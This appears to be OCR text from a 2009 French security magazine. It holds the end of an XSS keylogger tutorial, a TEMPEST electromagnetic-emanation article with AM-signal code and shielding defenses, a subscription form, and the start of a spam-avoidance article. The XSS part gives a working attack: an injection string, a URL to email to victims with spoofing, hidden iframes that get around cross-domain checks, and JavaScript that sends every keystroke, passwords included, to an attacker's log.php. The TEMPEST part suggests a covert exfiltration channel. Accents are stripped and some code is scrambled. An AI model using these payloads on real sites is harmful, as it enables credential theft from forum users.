y avait sur la mme page les champs nom d'utilisateur et mot de passe. De prime abord ils ne sont pas directement vulnrables mais on verra qu'on peut les obtenir ultrieurement. L'ide est d'injecter dans la page HTML des fonctions JavaScript qui vous permettront d'utiliser les chanes tapes par les utilisateurs, et par consquent de communiquer avec le serveur de manire asynchrone. Nous utiliserons ici le keylogger que l'on a fait auparavant, mais avec quelques modifications, tant donn que l'objet XMLHttpRequest bloque tous les appels cross-domain (Cf. rubrique : AJAX et les appels cross-domain). Nous allons utiliser un script distant avec un iframe cach. En fait, avec l'IFRAME nous ne pourrons pas contrler la page racine (ici il s'agit de la page web du forum). Celle-ci est sur un serveur diffrent avec un domaine lui aussi diffrent ; les navigateurs bloqueront toute tentative d'attaque de type cross-domain. Eh bien, vous allez voir qu'on peut quand mme contourner cet obstacle (Cf. Figure 3) : il suffit d'inclure un IFRAME sur la page du forum pointant sur une page HTML qui se trouve sur notre serveur, la page HTML sur notre serveur contient son tour un second IFRAME qui pointe au final sur la page vulnrable du forum. On va galement injecter du code JavaScript pour le keylogging et l'envoi des requtes asynchrones vers notre serveur. l'IFRAME peut grer les contrles de la page racine grce la classe parent. parent, en tant qu'lment pre et le deuxime lment fils sur le mme domaine. On contournera ainsi les scurits type cross-domain et d'ailleurs celles-ci ne se dclencheront pas.

Listing 4. Chane injecter dans la page vulnrable au XSS


<!-- CHAINE A INJECTER DANS LE CHAMP DE RECHERCHE --> " /> <style type='text/css'> #iframeSource {display: none;} #iframeLog {display: none;} </style> <iframe id='iframeSource' src='http://www.exemple.com/iframe.htm' width='1' height='1'> </iframe> <iframe id='iframeLog' src='' width='1' height='1'></iframe> <div style=" <!-- CHAINE A ENVOYER PAR MAIL A LA VICTIME --> http://www.theforum_being_hacked.com/default.asp?id=1024&pag=1&searchString= %22+%2F%3E%3Cstyle+type%3D%27text%2Fcss%27%3E%23iframeSource+ %7Bdisplay%3A+none%3B%7D%23iframeLog+%7Bdisplay%3A+none%3B%7D%3C%2 Fstyle%3E%3Ciframe+id%3D%27iframeSource%27+src%3D%27http%3A%2F%2F www.exemple.com%2Fiframe.htm%27+width%3D%271%27+height%3D%271 %27%3E%3C%2Fiframe%3E%3Ciframe+id%3D%27iframeLog%27+src%3D%27%27 +width%3D%271%27+height%3D%271%27%3E%3C%2Fiframe%3E%3Cdiv+ style%3D%22

Il faut tout d'abord identifier clairement la chane injecter dans le champ de recherche du forum. Celle que j'ai utilise pour simuler l'attaque se trouve en Listing 4, conjointement avec l'URL envoyer la victime. Comme vous pouvez le constater il y a deux iframes ayant t injects de manire cache. Le premier pointe sur une page HTML du serveur :
<iframe id='iframeSource' iframe.htm' </iframe>

src='http://www.exemple.com/ width='1' height='1'>

Listing 5. La page utilise un IFRAME pointant sur la page vulnrable


<style type="text/css"> #iframeParent {display: none;} </style> <body> <iframe id="iframeParent" src=''></iframe> <script type="text/javascript"> var iframeParent = document.getElementById('iframeParent'); iframeParent.src = 'http://www.forum_being_hacked.com/default.asp?id=1024&pag= 1&searchString=%22+%2F%3E%3Cscript+src%3D%27http%3A%2F%2F www.exemple.com2Fparent.js%27%3E%3C%2Fscript%3E'; </script> </body>

Quant au second, il est vide, il permettra de charger la page de connexion du serveur, comme nous le verrons un peu plus tard :
<iframe id='iframeLog' src='' width='1' height='1'>

</iframe>

Pour que nos deux iframes soient invisibles, on va injecter une petite feuille de style :
<style type='text/css'>

Listing 6. Script distant pour le keylogging et l'mission asynchrone de requtes au serveur


parent.parent.document.onkeypress = function keylog(e){ var evt = (e) ? e : event; var keyPressed = ""; var iframeLog = parent.parent.document.getElementById('iframeLog'); if (window.ActiveXObject) //IE evt = parent.parent.window.event; keyPressed = String.fromCharCode(evt.charCode ? evt.charCode : evt.keyCode); iframeLog.src = 'http://www.exemple.com/log.php?keyPressed=' + keyPressed; }

#iframeSource {display: none;} #iframeLog {display: none;}

</style>

Tout le reste est ncessaire la fermeture des balises input, afin qu'il n'y ait pas d'erreurs HTML qui apparaissent sur la page Web. La premire sera ensuite directement injecte dans le champ de recherche, tandis que l'autre correspondra l'URL, et sera

62

HAKIN9 3/2009

KEYLOGGER 2.0

Sur Internet
http://www.javascriptkit.com/jsref/ eventkeyboardmouse.shtml Evnement associs au clavier et aux boutons de la souris, http://developer.mozilla.org/en/AJAX/ Getting_Started Dmarrer avec AJAX, http://www.quirksmode.org/js/ introevents.html Grer les vnements JavaScript, http://developer.apple.com/internet/ webcontent/iframe.html Scripts distants avec les IFRAME.

Figure 3. Une astuce utiliser sur les navigateurs pour tester des scripts distants de type cross-domain envoye l'e-mail de la victime. En Listing 5, le code se trouvant dans iframe.htm doit tre stock sur notre serveur. a ne fait que gnrer un IFRAME sur la page racine du forum qui est vulnrable. Veuillez noter que l'on injecte un fichier JavaScript parent.js dont le code est prsent en Listing 6 :
iframeParent.src = parent.parent.document.onkeypress = function keylog(e){ ... };

'http://www.forum_being

_hacked.com/default.asp?id =1024&pag=1&searchString= %22+%2F%3E%3Cscript +src%3D%27http%3A%2F%2F %27%3E%3C%2Fscript%3E';

On doit indiquer deux fois le terme parent du fait que le script s'excute depuis le second IFRAME. Le reste de la fonction est similaire la premire, except pour accder au serveur o lon nutilise pas l'objet XMLHttpRequest . En effet on charge la page d'identification de notre serveur directement partir de l'IFRAME inject :
var iframeLog =

www.exemple.com2Fparent.js

La page log.php pourrait tre similaire celle du formulaire de paiement (Cf. Listing 3). Il suffit maintenant d'envoyer notre victime l'URL, en utilisant une technique de spoofing lui faisant croire qu'il s'agit d'un e-mail provenant du forum. Tous les lments taps dans la page, nom d'utilisateur et mot de passe inclus, seront enregistrs par notre serveur. Durant la simulation d'attaque, j'ai not que le niveau de scurit par dfaut dans Internet Explorer 7 ne donne aucune alerte en cas de tentative d'attaque XSS, contrairement Firefox 3 qui bloque l'attaque et demande l'utilisateur d'accepter ou non. noter que beaucoup d'utilisateurs inexpriments utilisent Internet Explorer... Antonio Fanell

parent.parent.document.

Le script est une version modifie du premier keylogger. Pour intercepter la cl, on crira le gestionnaire d'vnement suivant : P U

iframeLog.src = 'http://

getElementById('iframeLog'); www.exemple.com/log.php?

keyPressed=' + keyPressed;

Ingnieur lectronique depuis 1998 il s'intresse de prs au domaine de la scurit et aux technologies de linformation. Il travaille actuellement comme chef de projet pour une SSII Bari, en Italie.

3/2009 HAKIN9

63

TECHNIQUE
UKASZ MACIEJEWSKI

mission compromettante.
Degr de difficult

Orage dans un verre d'eau ?


Actuellement, quasiment toutes les informations sont vendre et constituent une marchandise trs prcieuse. Voulez-vous permettre les autres de vous les voler impunment ? L'attaque est la meilleure dfense une attaque lectromagntique.

CET ARTICLE EXPLIQUE


comment apprivoiser l'mission lectromagntique, comment concevoir son propre projet TEMPEST, comment envoyer des informations binaires l'aide d'un moniteur.

CE QU'IL FAUT SAVOIR


connatre n'importe quel langage de programmation, connatre les notions de l'lectromagntisme et de l'lectronique. 64 HAKIN9 3/2009

u dbut, il a t pens que les perturbations mises par les appareils n'taient pas particulirement importantes pour le monde. La dcouverte des possibilits des ondes lectromagntiques a provoqu tant d'motions que la scurit des informations ainsi envoyes a t comme c'est souvent le cas oublie. Un peu comme le cas d'un enfant qui vient d'avoir un nouveau jouet. Les concepteurs se sont amuss avec l'lectromagntisme, ils ont conu des gadgets plus avancs en s'y basant et ils ont construit une tour de la technologie partir de ces connaissances. Cette tour de la technologie ne cesse d'tre dveloppe mais ses racines sont tombes dans les oubliettes. Si nous secouons les fondations de cette tour, le mythe de sa scurit sera dtruit. Dans un premier temps, TEMPEST (en anglais Transient Electromagnetic Pulse Emanation Standard standard de l'mission compromettante) constituait une mthode d'attaque lectromagntique visant extraire un texte pur partir des machines cryptographiques dont les Tiny ElectroMagnetic Pests Emitting Secret Things (petites parasites lectromagntiques qui mettent des donnes secrtes). C'est une dfinition trs parlante. Actuellement, prs de 175 socits sont pourvues d'une autorisation pour fabriquer les dispositifs. Wang Research Laboratories est l'un des plus grands fabricants.

Qu'est-ce l'orage ?

La guerre informatique a dbut. Tous les ans, le nombre de dispositifs de traitement des donnes s'agrandit. Certains dispositifs traitent le signal lectrique en acoustique (hauts-parleurs), d'autres crent les ondes lumineuses partir d'un signal lectrique (moniteurs). Tous ces dispositifs ont toutefois une caractristique en commun. Puisque leur travail repose sur le passage du courant du point A vers le point B (alimentation typique, envoi d'informations, etc.), une antenne mettrice peut tre cre partir d'un moyen de transport (un cble ou un circuit imprim). Le principe est simple : chaque charge lectrique est une source d'un champ lectromagntique. Puisque le passage de courant est prsent dans tous les dispositifs lectroniques, la conclusion est simple : ces dispositifs constituent des sources d'une mission d'un champ lectromagntique. Si ce champ contient des informations relatives aux donnes traites l'intrieur ou pire encore la manire dont elles sont traites, cette mission peut tre considre comme compromettante.

Description des menaces

Le problme de fuite d'informations a t rcemment abord une grande chelle dans les mdias. Comme d'habitude, les mdias exagrent le ct innovant de la technique dcrite. Elle tait en effet dj connue auparavant : en 1943, les employs de Bell Telephone

UNE ATTAQUE LECTROMAGNTIQUE


modifications du flux du champ lectrique, loi de Faraday les modifications du champ magntique font crer un champ lectrique tourbillonnant dont la taille dpend de la vitesse des modifications du flux du champ lectrique.

Figure 1. Onde lectromagntique ont dcouvert qu'un des machines cryptographiques mettait les donnes relatives au signal trait pendant son fonctionnement. l'poque, le niveau de connaissances ne permettait pas de se protger efficacement contre ce type de phnomnes. Nous pouvions considrer que durant 19 ans la technique de protection mrirait. Ce n'est pourtant pas le cas et en 1962, l'un des ingnieurs d'un mini-centre cryptographique amricain a fait connatre une prsence d'une surveillance (japonaise) effectue au moyen de la technique d'mission compromettante (vous trouverez davantage d'informations sur ce sujet dans le rapport de l'Agence de scurit amricaine TEMPEST: A Signal Problem). Le monde a ainsi pu connatre les avantages de l'mission compromettante mise. L'Europe ne se trouvait pas loin de l'utilisation de ce type des technologies. En 1960, la Grande Bretagne ngociait l'entre dans la Communaut conomique Europenne et craignait la dcision du premier ministre franais. Grce l'quipe cre par le contre-espionnage, un signal secondaire a t dcouvert dans la ligne de transmission sortante de l'ambassade de France. Aprs la conception d'un dispositif appropri, il tait possible d'accder au texte non crypt, ce qui rendait la cryptographie inutile. L'mission conduite est ne. Puisque ces technologies taient connues l'poque, taient-elle amliores depuis ? Quels sont les progrs depuis l'poque de Wim van Eck et sa premire prsentation publique du systme TEMPEST (Electromagnetic Radiation from Video Display Units: An Eavesdropping Risk?) du 1983 ?

lectromagntisme

Afin de comprendre et apprcier l'mission compromettante, il faut connatre la manire dont elle est cre. Comment un dispositif devient un petit potinier qui raconte tout le monde ce qu'il fait et Deux phnomnes en sont responsables : loi d'Ampre la circulation du courant et le champ lectrique variable font crer un champ magntique tourbillonnant dont l'induction est proportionnelle la vitesse des

Ces deux lois lmentaires, combines deux lois de Gauss (prsence de source du champ lectrique et absence de source du champ magntique), constituent une bible de l'lectromagntisme (quations de Maxwell). Une simple conclusion en dcoule : si un appareil est aliment, il n'apparatra pas immdiatement dans les circuits lectroniques. Sa valeur augmentera progressivement (tats passagers) jusqu' un niveau exig. Bien videmment, les lectrons se dplacent trs rapidement donc il est impossible d'observer ce phnomne tous les jours. Le courant est tout de mme variable dans le temps et comme nous le savons le flux d'lectrons variable cre un champ magntique. Ce champ, gnr partir d'un champ lectrique variable, gnre galement le champ lectrique variable dans le temps. Les changements de ces deux champs, et plus particulirement les perturbations du centre o les changements ont lieu, sont chargs de propager les ondes lectromagntiques (Figure 1). Quelle en est la conclusion ? La prsence de la source du champ lectrique nous informe que tout dispositif

Figure 2. Principe de cration d'une image


3/2009 HAKIN9 65

TECHNIQUE
couleur (noir absence de couleur). Cet lment est responsable des informations envoyes par le moniteur mais n'informe pas o le trouver, modulateur c'est en ralit une carte graphique. Les valeurs de couleur d'un point dfini sont donnes cet endroit une frquence d'un pixel, en combinant les donnes de tension (luminance) et les donnes temporaires (emplacement l'cran). Il influence la frquence avec laquelle nous attendons le signal portant l'information sur l'image affiche, antenne mettrice le moniteur fait office de cette antenne. Le signal de vision y renforc est plus puissant que son quivalent mis par les cbles qui le lient la carte graphique.

Figure 3. Modulation d'amplitude (AM)


gnre de manire lectronique un champ lectrique (par exemple, stockage dans les condensateurs). L'absence de la source du champ magntique nous informe qu'il peut exister mme dans un vide, ncessitant uniquement une source du champ lectrique. Une onde cre dans un vide peut se propager de manire infinie. Dans un environnement terrestre, en raison de l'endroit o elles se propagent (par exemple, particules de l'air), ces ondes sont soumises une multitude de phnomnes dont le plus important est l'amortissement. Plus la source est loigne, moins le signal est fort, ce qu'il peut tre observ dans des rseaux sans fil. Pour cette simple raison, nous observons au choix : soit un dispositif met un champ assez puissant pour qu'il puisse tre reu, soit les appareils de rception sont assez sensibles pour recevoir un signal intressant dans un chaos des ondes qui nous entourent. Nous savons donc comment attaquer. Quel est toutefois notre objectif ? La source la plus connue de l'mission compromettante est un moniteur dot d'un tube cathodique (en anglais CRT Cathode Ray Tube) et la suite de nos analyses reposera donc sur ce type moniteur. informations sur le rafrachissement des lignes (synchronisation horizontale) et du cadre (synchronisation verticale) pour crer une image correcte partir des donnes reues par la vision. De plus, le paquet d'lectrons qui cre une image doit tre dot d'une nergie suffisamment puissante pour extraire des photons partir du luminophore (ce qui n'est pas banal). De plus, nous ajoutons une manire de crer une image (Figure 2) et nous avons tout dont nous avons besoin pour crer une radio avec une modulation d'amplitude : condition de gnration dune onde lectromagntique - changement rapide des mouvements dlectrons. Le canon lectrons est responsable de cette tche ; il cre les pixels de limage. La couleur blanche correspond une valeur leve nergtique du pixel et la couleur noire labsence du signal du paquet dlectrons, signal porteur (modul) le cadre de l'image doit tre dessin pendant un rafrachissement vertical. Une ligne doit tre dessine pendant un rafrachissement horizontal moins le temps de retour du point de la fin de la ligne jusqu'au dbut de la ligne suivante. Un pixel doit tre dessin avec une telle vitesse que pendant le rafrachissement horizontal, tous les pixels puissent tre affichs dans une ligne. Cette dure est en effet dcisive pour les proprits de l'onde porteuse ou, autrement dit, du signal modul, signal qui module en ralit, il s'agit d'une valeur des couleurs de chaque pixel depuis le blanc (toutes les couleurs) jusqu' l'absence de la

Le modulateur d'amplitude le plus simple est prsent sur la Figure 3. Il se compose principalement d'un transistor, contrairement la carte graphique qui est un modulateur AM plus complexe (bien qu'elle ne s'en rende pas compte le plus probablement).

Ce que les Tigres aiment le plus

Nous voil pourvus des connaissances thoriques. Il est temps de les utiliser en pratique. Nous savons comment le signal du moniteur est gnr mais o le trouver ? La connaissance des standards

Moniteur AM

Gnralement parlant, le moniteur sert afficher une image. Le signal de vision amen depuis une carte graphique est amplifi et dirig par les circuits de balayage ; le paquet d'lectrons arrive l'cran du moniteur. Pourquoi ce processus est-il si exceptionnel de notre point de vue ? Mis part le signal de vision, le moniteur a besoin des
66 HAKIN9 3/2009

Figure 4. Projet Tempest for Eliza

UNE ATTAQUE LECTROMAGNTIQUE


employs par tous les moniteurs pour crer une image partir d'un signal vido pseudo-alatoire nous vient en aide. La frquence porteuse du signal du moniteur a une valeur de 40MHz pour une image dont la rsolution est de 800x600 et le rafrachissement - de 60Hz. En revanche, pour une rsolution de 1920x1440 et un rafrachissement de 75Hz, la valeur de la frquence d'un seul pixel est de 297MHz. Cette tendue de frquence s'appelle VHF (en anglais Very High Frequency) ou THF (trs haute frquence). L'coute y est autorise mais l'mission peut tre pnible. Tempest for Eliza, conu par Erik Thiele, est le programme le plus connu qui prsente l'mission compromettante. Grce ce programme et au programme xvidtune, nous pouvons forcer le moniteur de jouer une mlodie qui, une fois la radio accorde, pourra tre entendue. Pour ce faire, nous compilons les sources (le paquet SDL est ncessaire), nous chargeons les paramtres de configuration du moniteur depuis le programme xvidtune et les transmettons au programme :
./tempest_for_eliza 105000000 1024

Listing 1. Gnration d'une note dfinie


procedure generuj_sygnal_AM(dane:TUstawienia); var x,y:integer; //emplacement du pixle calcul ft, // frquence de la note (qui module) fp:Extended; // frquence du pixel A, //amplitude du signal modul m, //amplitude du signal qui module t, //base temporaire modulujcy, //signal qui module la porteuse modulowany:Extended; //porteuse begin fp:=dane.o_fp*1000000; //frquence du pixel [MHz] ft:=dane.ton; //frquence de la note gnre [Hz] fc:=dane.nosna; //frquence de la porteuse [Hz] //Configuration initiale des paramtres : A:=255/4; //amplitude du signal modul m:=1.0; //amplitude du signal qui module //Caluculs initiaux du signal modul par amplitude (AM) : SetLength(sygnal_zmodulowany,dane.rozX,dane.rozY); //configuration du tableau pour le signal i:=0; //numro de la ligne suivante pour calculer t:=0; //dbut, autrement dit, lorsque le temps est zro //{Nous crons l'image depuis le coin suprieur gauche de l'cran // jusqu'au coin infrieur gauche, donc de la mme manire que sur le moniteur} //nous crons l'image en nous basant sur le signal modul et qui module : for y:=0 to dane.rozY-1 do begin for x:=0 to dane.rozX-1 do begin modulujcy:=m*cos(PI2*ft*t); // signal modul modulowany := A*cos(PI2*fc*t); // signal qui module (de l'horloge) sygnal_zmodulowany[x,y]:=(1+modulujcy)*modulowany; t:=t+1/fp; //fp passage au pixel suivant end; i:=i+1; //n de la ligne suivante car nous en avons dj dessin une //{dure de retour du paquet d'lectrons jusqu'au dbut de la ligne ; dure //pendant laquelle //rien n'est mis donc il faut attendre //dure = numro de la ligne suivante dessiner* (fH +FHret)} t:=i*(1/dane.o_fh+((1/dane.o_fv)-(1/dane.o_fh)-dane.rozY*(1/dane.o_fh))/ dane.rozY); end; end;

768 1400 10000000 songs/forelise

Nous obtenons une image similaire celle de la Figure 4. Nous branchons n'importe quelle radio, nous l'accordons AM et nous trouvons la mlodie. Mme si la frquence porteuse du moniteur est plus importante que l'chelle de rception d'une radio, le son peut tre entendu grce aux basses harmoniques. eckBOX est un autre projet de la famille du petit espion. Il a besoin d'un radio, d'un transformateur A/C (analogiquenumrique) et d'un logiciel de traitement du signal en image utile pour travailler. Pourquoi un tel projet, n'a-t-il pas russi ? Cela est peut-tre du au gouvernement secret amricain qui a interdit les expriences de ce type ou peut-tre une association secrte qui voulait garder le savoir pour elle-mme. Ou peut-tre cela est du au fait que conformment la formule de Shannon-Kotielnikow la frquence d'chantillonnage doit tre au moins deux fois suprieure la frquence maximale du signal (ce qui quivaut la frquence d'chantillonnage gale 216MHz pour

un moniteur standard). La slectivit d'une radio se trouve en dehors de la bande du moniteur et elle est trop grande. Le signal gnr par la carte graphique est charg d'une erreur de 5 %, ce qui donne 5,4MHz pour 108MHz. La radio reoit une partie du signal mis mais cela donne peu d'informations pour russir avoir une image lisible. La slectivit est comme les enfants dans une aire de jeux. Une seule nounou est incapable de les attraper tous mais si elles sont plusieurs, elles ont plus de chance de le faire. Si en revanche nous appelons un grand monsieur, tous les enfants partiront dans tous les sens en criant le plus probablement. La mme chose concerne les ondes radio : si le circuit est trop slectif, nous recevrons une

partie du signal, si la bande est trop large, le circuit aura trop d'informations traiter et nous n'aurons rien. Dans une telle situation, la vitesse du flux de donnes depuis le transformateur A/C l'application de traitement n'est pas si importante.

Notre propre TEMPEST

Pour commencer notre propre aventure avec l'mission compromettante, il faut disposer des quipements appropris. Pour ne pas chercher l'intrieur du moniteur, nous relions l'ensemble l'aide d'une carte test prsente sur la Figure 5. Elle permettra d'accder tous les signaux importants. Grce aux goujons, il est possible de couper la ligne de signal de la carte graphique (en l'enlevant)
3/2009 HAKIN9 67

TECHNIQUE
et brancher notre propre version de signal via la prise BNC (par exemple, depuis une source de synchronisation externe). Si nous laissons les goujons et branchons un oscilloscope une prise donne, il est possible d'observer en dtails le signal envoy (donnes, paramtres de temps) pour le recrer par la suite soi-mme. Pour nos besoins, nous laissons toutes les lignes telles quelles et nous coupons uniquement les informations sur le trajet de vision du moniteur TEMPEST. la place des donnes de la carte graphique, nous enverrons les informations depuis la sortie d'une simple radio Am (par exemple, sortie couteurs). Cette approche simplifie les tests et ne ncessite pas la construction des circuits externes de contrle de frquence de synchronisation. La carte prte se trouve sur la Figure 6. Le branchement est prt, il est maintenant temps d'crire un logiciel qui cre un metteur avec la modulation d'amplitude partir du moniteur. Le Listing 1 prsente le code de procdure de gnration d'un signal. C'est une mthode assez primitive pour gnrer un signal AM mais elle explique de manire simple les principes de base. Les lignes 35, 36 et 37 sont charges de gnrer les valeurs appropries en se basant sur le pixel affich actuellement et de la dure dans laquelle il est affich. Une fois la ligne calcule (la boucle for interne), nous gnrons la ligne infrieure suivante. Entre la fin de la ligne gnre et le dbut de la ligne suivante, le canon lectrons doit disposer du temps pour retourner au dbut de la ligne. Pendant ce temps, le signal ne sera pas gnr donc nous passons cette brve dure (ligne 45). Une fois la ligne gnre et aprs le retour au dbut de la ligne suivante, nous rappelons la gnration du signal. La Figure 7 prsente l'image ainsi cre.

Figure 6. carte test

Protections

circulation du courant. Il est toutefois possible de concevoir un dispositif et son environnement de travail de manire ce que l'effet secondaire de son fonctionnement soit minime. Il existe plusieurs mthodes, simples et celles qui modifient compltement le fonctionnement des dispositifs bien connus. Contrle de la zone la mthode la plus ancienne mais toujours d'actualit. Elle consiste contrler les utilisateurs et les dispositifs qui se trouvent dans la zone de danger o l'mission compromettante pourrait tre employe. Modification des dispositifs si nous connaissons le fonctionnement d'un dispositif cout, nous sommes capables de traiter les informations reues. En modifiant le fonctionnement du dispositif, nous modifions la caractristique des donnes mises en forant l'attaquant concevoir de nouvelles mthodes de traitement. titre d'exemple : gnration de l'image du moniteur en tant que deux sousimages gnres simultanment. Une seule onde lectromagntique sera alors envoye deux pixels

Comme les mthodes d'utiliser l'mission compromettante sont connues, les moyens de protection devraient l'tre aussi. Il est impossible d'exclure la cration des champs lectromagntiques, comme il est impossible d'exclure la

Figure 5. Emplacement des lments d'une carte test


68 HAKIN9 3/2009

Figure 8. Interception d'une image gnre

UNE ATTAQUE LECTROMAGNTIQUE


amplificateur de haute frquence qui corrige la dynamique du circuit de mlangeur (avant la dmodulation du signal d'entre). Cette dmarche est toutefois lie aux frais d'un circuit appropri. Puisque le signal sera amplifi depuis une large bande, l'amplificateur lui-mme doit se caractriser par une large bande de transmission (30MHz 300MHz pour un circuit universel). Quand nous crons un circuit destin une bande moins large, son prix diminue aussi. Il faut donc prendre en compte le rapport qualit/ prix. La bande d'un amplificateur audio typique s'lve de 20Hz 25000Hz, il ne peut pas donc tre utilis ici. Amplificateur de petite frquence augmente la luminosit de l'image affiche mais le signal utile a dj t extrait du bruit, dmodul et trait ; que peut-on donc amplifier ? Si le dmodulateur est dot des paramtres levs, son signal de sortie sera trs bon et l'amplification n'est pas ncessaire cette tape.

Figure 7. Image gnre (1024x768 [75Hz], gauche note = 200Hz, droite note = 3000Hz) simultanment et l'image sera ainsi impossible recrer. Augmentation de brouillage s'il est impossible de rduire l'influence de fuite de donnes, nous augmentons l'mission de donnes qui ne portent aucune information importante. Grce cette dmarche, en bien choisissant le dispositif, l'attaquant recevra le brouillage la place des donnes utiles. L'inconvnient de cette mthode est le fait qu'elle est illgale car il est illgal d'utiliser un dispositif de brouillage. Blindage des dispositifs lorsqu'il est impossible de modifier le dispositif ni de le brouiller, il ne nous reste qu' l'enfermer dans une cage (une protection en mtal qui fonctionne comme la cage de Faraday). C'est une mthode relativement simple (par rapport la modification des dispositifs) et en plus, lgale. Bien videmment, il est impossible de mettre le moniteur dans une bote en mtal et de l'enfermer dedans. Premirement, il doit tre possible de voir les informations affiches sur le moniteur. Deuximement, n'oublions pas le cble d'alimentation et le cble amenant les donnes depuis l'ordinateur. Si la protection en mtal n'est pas compltement tanche (par exemple, liaisons en plastique), l'onde lectromagntique aura une fentre ouverte sur le monde. Il faut tre conscient que le blindage ne protgera pas le dispositif 100 % contre l'interception lectromagntique. Mme si nous couvrons l'cran avec une grille en mtal et les cbles avec des barreaux de ferrites (sur le cble qui lie le moniteur et l'ordinateur) et si nous utilisons des dispositifs trs sensibles et nous liminons les brouillages (par exemple, filtres d'adaptation de Kalman), l'mission compromettante sera toujours utile. Les jouets deviennent de plus en plus chers. Blindage des locaux cette technique ressemble la prcdente mais elle est employe une plus large chelle. Au lieu de nous proccuper de la scurit de chaque dispositif, nous assurons la protection du local o ils travaillent. L'avantage de cette solution est la facilit de protger les nouveaux dispositifs (il n'est pas ncessaire de concevoir de nouvelles protections) et l'absence de problme de chaleur. Il n'est pas ncessaire de modifier un local construit (plaques en mtal dans les murs) contrairement aux protections des dispositifs portables (par exemple, pour rparer une imprimante ou un moniteur ou ajouter de la mmoire vive).

Conclusion

Nous savons comment forcer le moniteur pour gnrer une note concrte qui peut tre reue par une simple radio. Nous savons qu'il est possible de jouer une mlodie au moyen du moniteur. Quelles en sont les conclusions ? Est-ce que TEMPEST n'est qu'un jouet dans les mains d'un dbutant ? La Figure 8 montre qu'il y a autre chose. Lors de la gnration des notes dfinies par le moniteur, nous rduisons le spectre du signal envoy. Il n'est alors pas ncessaire que la bande de notre rcepteur soit trs large comme auparavant. L'image peut tre cre suffisamment bien sur le moniteur TEMPEST depuis le moniteur initial. Il est galement possible d'employer un amplificateur. En fonction de notre approche, il existe deux solutions :

Le coeur du circuit est constitue de la partie de traitement du signal de haute frquence et du dmodulateur. Si le coeur travaille correctement et efficacement, nous pouvons nous occuper de son entourage. Il ne faut pas augmenter de l'adrnaline sans cesse car le coeur lchera la fin : soit le circuit de traitement du signal de haute frquence soit les trajets de vision du moniteur seront brls. Mme si nous sommes incapables de recrer une image affiche, il est possible de charger un logiciel sur l'ordinateur attaqu qui affichera des images pour deux notes diffrentes (par exemple, 300Hz et 1200Hz) pendant l'absence de l'utilisateur, ce qui crera ainsi une modulation avec le masquage de la frquence. Ajoutons en plus le codage du signal et nous obtiendrons ainsi un canal de communication silencieux qui nous servira envoyer des informations binaires avec une frquence de rafrachissement de l'cran (par exemple, 60b/s). ukasz Maciejewski

L'auteur fait ses tudes l'Ecole Polytechnique de Wroclaw. Il est charg de concevoir des systmes de gestion des rseaux tltechniques. Actuellement, il travaille dans une socit charge des systmes lectroniques de scurit. Contact avec l'auteur : LukaszMaciejewski@pro-alert.pl 3/2009 HAKIN9 69

CONOMISEZ

22%

Hakin9 Comment se dfendre est le plus grand Bimestriel en Europe traitant de la scurit informatique. Vous trouverez dans nos pages des articles pratiques sur les mthode offensives et dfensives. Vous profiterez de programmes, de tutoriels, et de vidos pratiques.

Avec notre abonnement 35 EUR :

Vous conomisez 22% Vous recevez rgulirement les magazines votre domicile ! Vous obtenez un des nombreux cadeaux !

Choisissez votre propre mode dabonnement : par fax au numro : +31 (0) 36 530 71 18 par courrier : EMD The Netherlands Belgium P.O. Box 30157, 1303 AC Almere, The Netherlands par courrier lectronique : software@emdnl.nl par notre internet en ligne : http://www.hakin9.org/prt/view/abonnez-vous.html

BULLETIN DABONNEMENT
comment se dfendre
Merci de remplir ce bon de commande et de nous le retourner par fax : +31 (0) 36 540 72 52 ou par courrier : EMD The Netherlands Belgium P.O. Box 30157 1303 AC Almere The Netherlands Tl. +31 (0) 36 530 71 18 E-mail : software@emdnl.nl
Prnom/Nom ........................................................................................ Entreprise ............................................................................................. Adresse ................................................................................................. ................................................................................................................ Code postal .......................................................................................... Ville ........................................................................................................ Tlphone ............................................................................................. Fax ......................................................................................................... Je souhaite recevoir l'abonnement partir du numro .................... ................................................................................................................ En cadeau je souhaite recevoir ....................................................... ................................................................................................................ E-mail (indispensable pour envoyer la facture) ................................ ................................................................................................................

PRIX DABONNEMENT HAKIN9 COMMENT SE DFENDRE : 35


Je rgle par : Carte bancaire n CB

code CVC/CVV

Abonnez-vous et recevez un cadeau !

expire le _______________ date et signature obligatoires type de carte (MasterCard/Visa/Diners Club/Polcard/ICB)

Virement bancaire :
Nom banque : ABN AMRO Bank Randstad 2025 1314 BB ALMERE The Netherlands banque guichet numro de compte cl Rib 59.49.12.075 IBAN : NL14ABN0594912075 Adresse Swift (Code BIC) : ABNANL2A

DBUTANTS
SICCHIA DIDIER

Comment viter le SPAM,


le SCAM et les attaques phishing
Auparavant, il fallait attendre patiemment la venue du facteur afin de recevoir des nouvelles de ses proches, disperss aux quatre coins de la plante. Les services postaux disposaient alors du monopole absolu sur la distribution du courrier et des colis. Vint alors la (e)rvolution !

Degr de difficult

CET ARTICLE EXPLIQUE...


Cet article explique les techniques propres aux spams, scams et les attaques par phishing. Nous expliquerons aussi les mthodes utilises par les pirates afin de constituer des listes importantes d'adresses lectroniques. Enfin, la conclusion se consacre aux moyens d'viter l'ensemble de ces messages indsirables.

CE QU'IL FAUT SAVOIR...


Comprhension basique du rapport lectronique sur internet. Usage traditionnel d'une messagerie lectronique. 72 HAKIN9 3/2009

ffectivement, internet est venu bouleverser cette habitude d'une autre poque. Aujourd'hui et sur la toile mondiale, ce sont des milliards de courriers lectroniques qui se distribuent chaque jour une vitesse blouissante. Les mails permettent de simplifier largement les changes d'informations et rduisent considrablement les dlais d'attente entre deux protagonistes. Nanmoins, cette merveilleuse possibilit de communiquer avec son prochain n'est pas toujours idale. Auparavant, si les botes aux lettres se remplissaient d'une foultitude de revues publicitaires parfois inutiles et encombrantes, l'quivalent lectronique rencontre la mme problmatique. Beaucoup de courriels se composent essentiellement d'un message attractif afin de sensibiliser les internautes sur un produit quelconque (parfois mensonger). Si on ne fait pas attention, une messagerie lectronique peut devenir une vraie poubelle. Justement, ces courriers lectroniques ont trouv une nouvelle dfinition et selon notre poque. Ainsi, nous parlerons plutt de pourriel (lgante association de mots) ou encore de spam (de l'anglais, pt). Le terme polluriel est plus rarement utilis mais il se rencontre nanmoins en certaines occasions.

Dfinition du SPAM
